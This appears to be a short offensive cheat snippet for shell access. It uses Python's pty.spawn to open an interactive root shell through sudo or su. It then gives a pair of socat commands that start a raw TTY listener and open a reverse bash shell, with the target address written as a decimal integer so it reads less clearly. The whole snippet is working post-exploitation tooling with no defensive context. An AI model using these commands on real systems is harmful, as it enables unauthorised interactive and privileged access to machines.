__import__("pty").spawn(["sudo","-s"])
# or with su 
__import__("pty").spawn(["su","-c","'/bin/sh'"])

# or just use socat ;-)
"""
socat  tcp-listen:1337       file:`tty`,echo=0,raw 

socat  tcp:2130706433:1337   exec:'/bin/bash',pty,setsid,stderr
 """
